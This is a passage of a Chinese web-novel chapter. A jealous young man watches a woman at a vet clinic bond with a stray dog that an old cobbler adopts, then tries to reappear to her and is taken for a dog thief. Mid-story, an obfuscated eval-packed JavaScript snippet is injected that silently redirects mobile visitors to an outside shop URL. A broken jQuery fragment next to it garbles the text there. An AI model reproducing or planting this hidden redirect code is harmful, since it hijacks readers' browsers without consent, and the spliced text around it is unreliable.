“就是这只?”

    顾旸整个人贴在杨树仁副驾的车窗上,恨不得把眼珠子也挤出去仔细瞧瞧。

    杨树仁只觉得夸张:“我这车窗又没隐私防窥,至于凑那么近吗?”

    顾旸头也没回:“别吵。”

    杨树仁做完检查告辞之后,知道顾旸要来,于是仗义地把车拐个弯停在了不远处的街角。

    这个位置他们能从车内看到诊所门口的街道,诊所的人却除非刻意寻找注意不到车的存在。

    顾旸此刻就借了这点方便,远远地仔细观察着穆理理和小狗的互动,不死心地不放过丝毫细节。

    自打他来,穆理理已经摸了这只狗快十分钟了,手几乎一秒都没有从它毛茸茸的身上离开过。

    顾旸板着一张脸努力地笑:“呵呵没事,没事,一只狗而已,再可爱又怎样,又没有人的智商,不通人性,除了被摸摸又能怎样,能怎样呵呵……”

    杨树仁在驾驶位一言难尽地盯着他的后脑勺:“哥们……我感觉你有入魔了你知道吗?”

    顾旸根本没空理他,完全沉浸在自己的世界里。

    “……狗哪像我,狗肯定听不懂人话,穆理理多说两句就会发现它很傻了,到时候笨得出奇不懂事,说不定还可能上手咬人呢,而且……”

    在穆理理喂小狗火腿肠的时候,这只狗突然无师自通地抬起爪子,要跟她握手。

    顾旸:“……”

    他眼睁睁看着这只小狗的黄色泥爪子抬了两下,甚至几次不小心搭上了穆理理的裤腿,留下了泥点子,哪怕这样她也没有丝毫生气的样子,反而很是欣喜地伸出手接住了那只爪子,夸奖道:“真棒!还会握手!再奖励你一根火腿肠好不好?”

    车内也传来杨树仁顺口的感叹:“诶真的,你看,这狗真聪明,还会握手呢!你……”

    他声音越来越小,对着顾旸黑着脸的瞪视悻悻闭了嘴。

    “握手怎么了?握手多简单,谁不会握手了?握个手就很聪明吗?”

    “你跟个狗你比……”

    车外的穆理理朝空中抛了颗球,那只小狗立马箭一样窜起来,伸长脖子叼住玩具球,同时腾空中一个翻身,稳稳落地。

    穆理理从小狗的嘴巴接过球,揉了揉它的脑袋,又拿来一根肉干当作奖励:“你也太厉害了吧!”

    杨树仁不作声地看看狗,又上下看看嘴硬的顾旸,言下之意已经十分明显:“你会后空翻?”

    顾旸梗着脖子,脸不红心不跳地拿鼻子出气:“曾经会。”

    “哦?多久的曾经?”

    “小学二年级在家里研究着自己翻的。”

    杨树仁抽搐着嘴角:“后来?”

    “进医院了。”

    他就知道!

    “所以,”这家伙终于知道回归正题,开始做人了,“这只狗是哪来的?”

    杨树仁翻个白眼,“早知道你要问,所以我走前专门顺嘴了解了一下。”

    .

    修鞋的大爷看穆理理跟小狗玩得高兴,笑着问:“所以姑娘,这是你要找的那只狗吗?”

    穆理理正专心致志地看着小狗嚼东西,闻言开心的神情稍微往回收了点,盯着它空荡荡的脖颈摇摇头:“不是它,但很像。”

    “那就行了,你当它就是你丢的那只狗不就好啦,别太执着了,你说的那只狗要回来的时候肯定会回来的,你也不能成天惦记着耽搁了自己的生活你说是不是?”

    穆理理明白大爷一片好心,也没说什么,站起了身:“大爷,你其实很喜欢这只狗吧?”

    老大爷的脸立马板起来,赶紧别过头去:“谁、谁喜欢了?跟个孩子一样要吃要喝,自己都管不了还要管着它,麻烦得很,麻烦哪……”

    明明关于这狗的细节他记得比谁都清楚,前几次帮忙提供线索也是在惦念这只狗,但老一辈人都犟,穆理理也就看破不说破,故意换了个说法。

    “好吧,我是看这狗好像挺想你的。”

    “是、是吗?”

    穆理理一点头,“狗这种动物啊,最记得人的好了。你平时再怎么打它骂它训它,可只要对它有一点好,它聪明着呢,全记着。”

    那只小狗吃完了东西,立马摇着尾巴凑到树下,脑袋一下一下地往他裤腿上蹭,笑得特别兴奋:“汪!汪!”

    大爷一遍一遍强硬却轻柔地把它往外推,它却觉得这是种玩耍的方式似的,继续乐颠颠不厌其烦地往跟前凑,没有一点惧怕的样子。

    “我想啊,照你说的它时不时跑回来其实都是为了看你。你看,它吃了我的东西,却是吃完就走,毫不留恋,急着要来讨你喜欢呢。”

    穆理理注意到大爷抗拒的动作停住了,有点愣地低下头看,那只小狗没了阻碍,更加亢奋地往他腿上拱。

    “至于它为什么总要消失一段时间再回来,我猜……大概是为了‘打猎’。”

    “小狗也是有身份定位,它大约认为自己是看家护卫的那个,要不时外出打猎,自行解决温饱问题,然后才能回来更好地保护你。你是不是喂它吃过什么东西?”

    大爷陷入回忆,想起某天临时的阵雨,他急急忙忙淋着雨把摊位的东西搬上店铺门口的台阶,湿透了衣服坐在屋檐下等雨停,早餐店的老板热心送了他两个包子。

    他就是坐在那里避着雨啃包子的时候看见这只狗的。

    黄黄的小小一个,瘦得惊人,经过时好死不死地眼巴巴望了他一眼。

    得得得,自己都吃不饱还要分给畜生吃。

    他脸上极不情愿地把自己才吃了一口的肉包掰了一半丢到小狗面前,什么话也没说。

    小狗立即低下脑袋狼吞虎咽地吃起来,看起来是真的饿极了,竟然两口就吃了个干净,又巴巴地望着他。

    “哎我真是手贱,给你给你给你!”

    他把另一个包子也掰了一半丢过去,在小狗再次投来渴望的目光之前,急急忙忙地剩下的小半塞进自己的嘴巴里。

    差点噎到。

    “嗝……没有了!这下真的没有了,我还要吃呢!”

    那时小狗若有所思地盯着他的脸,和此时此刻讨好的一张笑脸渐渐融为一体。

    大爷有点难以相信:“它……它真能这么聪明?”

    穆理理笑了笑:“反正小狗可比人认死理得多,不管什么原因,它认定了你是它的主人,就永远也不会再变了。哪怕你再讨厌它,再不想要它,它都会再跟上来,一次又一次。”

    她也不等大爷再说别的什么,跟小陈一起把店里的自助狗粮机搬到了门口,外加一个放了柔软垫子的温馨小窝。

    “诊所最近正准备布置一个流浪猫狗救助点,还有猫魔女咖啡店倾情赞助,为各只小流浪解决温饱问题的同时……”

    穆理理压低声音笑着说:“还提供免费噶蛋服务。”

    “唉,可惜这种只蹭吃蹭喝不亲我的小狗我是不会收养的,到时候绝完育没有主人陪伴,只能孤零零的一个,先在诊所冰冷的地板上躺着了……”

    “谁说它没主人了?”

    穆理理这番话果然有效,大爷虽然还是板着脸死不承认的样子,但说的话明显已经妥协了:“要跟着我就跟着呗,那费啥事,反正是死是活我才不管,要跟就跟。”

    穆理理跟小陈对视一眼,没忍住笑了,小陈从诊所内拿出来一个项圈递给大爷,“您想叫它什么,给起个名字。”

    大爷拿着中性笔想了想,不多时,在狗牌上写下了遒劲的两个大字:

    肉包。

    “你给它做完绝育要叫我,一定要叫我,它是有主人的狗,不是没人要的,你们要好好对它……”

    “肯定的。”

    他给小狗带上狗牌,目送穆理理抱着它去做绝育的背影,忽然忍不住问:“……你怎么知道它肯定不是你的狗?狗都长得那么像。”

    穆理理愣了一下才回答。

    “因为……我丢的狗可没有它这么聪明。它傻着呢,必须要我亲手喂它的东西它才会吃。”

    刚刚这只狗可是头也没抬,吃得特别香。

    世界上长得像的小狗千千万,可就是不是那一个。

    给肉包的绝育做完,穆理理一连被躲了好几天,连经她手递过来的东西肉包都有点不敢吃了,看都不看一眼,转头就要躲进大爷的怀里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781835|209302||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,大爷口是心非地嫌弃两句,脸上笑得比谁都开心。

    穆理理:“……”

    这下好了,受伤的只有她。

    她依旧锲而不舍地每天中午贴着寻狗启事,继续找她的艾艾。

    但奇怪的是,每天回到那些她贴过的宣传栏,上面前一天的寻狗启事都早已不知所踪。

    穆理理一开始还以为是好心人揭了去,方便帮忙找狗,但后来从没有什么人来诊所提供过有关小狗的信息,她这才觉得不对。

    天杀的,这年头还有没素质的人专逮着寻狗启事撕的?!

    就算是附近小孩不懂事乱上手,也不该每天都撕得这么干净吧?

    她为此还专门潜伏了几天蹲点,时间久到肉包都有了吃的忘了蛋愿意继续跟她玩了,她都从没见过那个幕后黑手的真面目。

    .

    顾旸这几天想了很多。

    他发誓是非常认真的思考。

    他每天白天鬼鬼祟祟跟个变态一样跟着穆理理后面不辞辛苦地撕启事,还要看着她温柔热情地跟别的小狗互动,晚上辗转反侧地睡不着,心里堵得慌乱七八糟地想那些原本属于他的位置和生活。

    “唉。”

    “唉。”

    “唉。”

    “死一边去!”杨树仁抱着枕头捂着耳朵,把顾旸踹下床,“你不睡觉别人还要睡呢!”

    他也真是倒了八辈子霉,摊上这么个哥们。

    跟暗恋对象好的时候,每天霸占他家浴室要给他撒狗粮,现在跟暗恋对象不好了,又莫名其妙跨越“舔狗”的界限要当真狗??

    他故意不回消息还不行,人家能不远万里专门扒他床上对着他的耳朵烦他!

    顾旸从床下爬起来,干脆趴在床边了,还在装忧郁:“我以为你会特别懂我,真的,你不是二次元吗,你怎么能不懂我内心的挣扎呢……”

    “你这已经不是二次还是几次的问题了,你特么一百零八次也没用!”

    杨树仁拽了几下自己的被子没拽回来,干脆直接把空调关了。

    “正常人遇到这种事都是要么去医院看脑子,要么带着对方去医院看脑子,就没有你这样蠢地开始思考跨物种的问题的人!”

    顾旸弱弱地:“……可我就是心里难受,放不下。”

    “放不下就干点什么啊,你每天在这里纠结来纠结去就能解决了?!”

    杨树仁撂下这句话,转过身睡觉去了。

    顾旸出神发呆。

    顾旸若有所思。

    顾旸做出决定。

    第二天中午,他一如既往地来到了穆理理上班的诊所。

    但这一次,他没有继续跟在穆理理后面搞破坏,反而提前蹲守在了她一定会来的宣传栏前。

    他做着深呼吸,心里虽然还是万分纠结,外表虽然也依旧做了掩饰伪装,但行动已经逼着自己站在了这里等她。

    他决定以小狗的身份重新出现在穆理理眼前。

    顾旸默默给自己打气加油。

    做狗又怎么了?做狗就做狗吧!只要穆理理能高兴,做狗就做狗吧!……就是这种事以后怎么跟他妈他爸还有廖阿姨穆叔叔解释?……不敢想不敢想!

    穆理理正在靠近的身影终于出现在了不远处,顾旸急急忙忙收回视线,转身面向宣传栏,身体僵硬得能打铁。

    要来了要来了!怎么办怎么办?

    该保持什么样的姿态比较好?背对着等她惊喜地发现?还是在她快走近时主动地迎上去?

    她以前比较喜欢哪一种的小狗来着?是热情迎接她的还是矜持的?前几天她捡的那只新狗是什么类型的来着?……

    顾旸没有机会再想更多了。

    因为在他犹犹豫豫一会偷看一眼,一会转回去的这几个来回,穆理理已经发现了他。

    “穆——”

    顾旸提前准备好的笑脸一点没派上用场,很快扭曲成了惊恐。

    他看到穆理理三两下把手里那沓寻狗启事一卷,然后猛地朝他飞奔过来,模样愤怒又凶狠,拔高音量大喊道:

    “我看到你了!偷狗贼!——”

    “???”